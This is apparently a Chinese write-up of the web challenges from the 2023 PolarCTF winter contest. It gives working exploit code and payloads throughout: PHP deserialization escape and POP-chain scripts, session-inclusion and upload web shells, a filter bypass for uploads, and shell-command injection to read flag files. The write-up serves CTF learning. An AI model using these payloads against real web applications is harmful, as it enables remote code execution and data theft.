[2023PolarCTF冬季赛]WEB WP

WEB

你想逃也逃不掉

由于在serialize($user)之后进行了字符串过滤操作,就可以让传入username来吞掉passwd的内容,进而让反序列化字符串的结构发生变化。目的是在passwd构造新的sign属性来覆盖,让新的sign属性为ytyyds。

<?php
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = "skkyphp3php3php3php3php3phtml";
$user['passwd'] = 'blu3";s:4:"sign";s:6:"ytyyds";s:6:"passwd";s:4:"blu3";}';
$user['sign'] = '123456';
// a:3:{s:8:"username";s:4:"skky";s:6:"passwd";s:4:"blu3";s:4:"sign";s:6:"ytyyds";}s:4:"sign";s:6:"123456";}
$ans = filter(serialize($user));
echo $ans.PHP_EOL;
//$s = 'a:3:{s:8:"username";s:4:"skky";s:6:"passwd";}";s:4:"blu3";s:4:"sign";s:6:"123456";}';
var_dump(unserialize($ans));

随机值

用取址符号让Polar1和Night在Polar2和Light被赋随机值的时候一起变化。

<?php
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    public function __construct(){
        $this->Polar1 = & $this->Polar2;
        $this->Night = & $this->Light;
    }
}
echo serialize(new Index());

safe_include

源码

<?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

basedir限制,同时开启了的session,考虑包含session。

尝试用Cookie中的PHPSESSID=gul18or2ajo45rsfgk416afq95,结合php伪协议读session/?xss=php://filter/convert.base64-encode/resource=/tmp/sess_gul18or2ajo45rsfgk416afq95,发现可以读,同时确定了session文件保存位置。

根据代码逻辑,第一次访问在session中写入恶意代码,第二次访问包含这个session。用两次请求来执行一次命令

/?xxs=<?php system($_GET[skky]);?>
/?xxs=/tmp/sess_gul18or2ajo45rsfgk416afq95&skky=ls /

读取flag

cool

shell_exec执行命令,用通配符读flag,payload

/?a=echo shell_exec("cat fla*");

phpurl

提示的加密字符串是base64,解码找到index.phps。url二次编码拿到flag

/index.php?sys=%25%37%38%25%37%38%25%37%33

你的马呢?

点开题目发现index.php存在文件包含:/index.php?file=upload.php

上传的点过滤了所有可以解析为php的后缀,同时对文件内容过滤了<?php

上传短标签,结合文件包含执行命令

<?=`cat /flag.txt`?>

文件包含/index.php?file=uploads/skky

ezphp

主页

访问robots.txt

User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images

/uploads/upload.php上传个.jpg文件

<?php
system($_GET[skky]);
?>

/file/file.php?filename=../uploads/images/skky.jpg文件包含,用find / -name flag*找到flag文件位置

读取

cookie欺骗

修改Cookie:user=admin

upload

提示源码/?action=show_code

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里对文件后缀是替换为空的,采用双写绕过skky.pphphp

干正则

源码

<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

parse_str可以将字符串解析为变量,用它来覆盖$a。命令执行cmd读取flag,用flag.ph*绕过正则

/?id=a[]=www.polarctf.com&cmd= || cat flag.ph*

苦海

源码

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

目的是执行到FileRobot的__invoke,分析代码之后,FileRobot的__get有个可变函数调用的形式。Surrender中的__toString$this->file['filename']为一个FileRobot对象来触发FileRobot的__get,最后读出../flag.php(😅)。

😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅

pop链构造如下

<?php
class User{
    public function __construct()
    {
        $this->name = new Surrender();
    }

}

class Surrender
{
    public function __construct()
    {
        $o = new FileRobot();
        $o->path = new FileRobot();
        $this->file['filename'] = $o;
    }
}

class FileRobot
{
    public $path;
    public $filename = '../flag.php';
}

echo serialize(new User());